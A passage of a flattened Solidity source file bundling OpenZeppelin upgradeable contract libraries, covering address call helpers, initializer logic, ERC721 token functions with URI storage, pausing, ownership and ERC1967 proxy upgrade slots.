) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal initializer {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal initializer {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/proxy/beacon/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/ERC1967/[email protected]
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
